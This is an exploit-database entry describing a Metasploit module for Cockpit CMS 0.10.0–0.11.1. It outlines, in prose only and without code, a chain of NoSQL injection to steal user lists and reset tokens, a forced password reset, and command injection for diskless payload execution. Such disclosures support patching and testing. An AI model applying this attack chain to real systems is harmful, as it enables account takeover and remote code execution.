Cockpit CMS 0.11.1 NoSQL Injection / Remote Command Execution

Cockpit CMS 0.11.1 NoSQL Injection / Remote Command Execution
Posted Apr 21, 2021
Authored by h00die, Nikita Petrov | Site metasploit.com

This Metasploit module exploits two NoSQL injection vulnerabilities to retrieve the user list and password reset tokens from the system. Next, the USER is targeted to reset their password. Then, a command injection vulnerability is used to execute the payload. While it is possible to upload a payload and execute it, the command injection provides a no disk write method which is more stealthy. Cockpit CMS versions 0.10.0 through 0.11.1, inclusive, contain all the necessary vulnerabilities for exploitation.
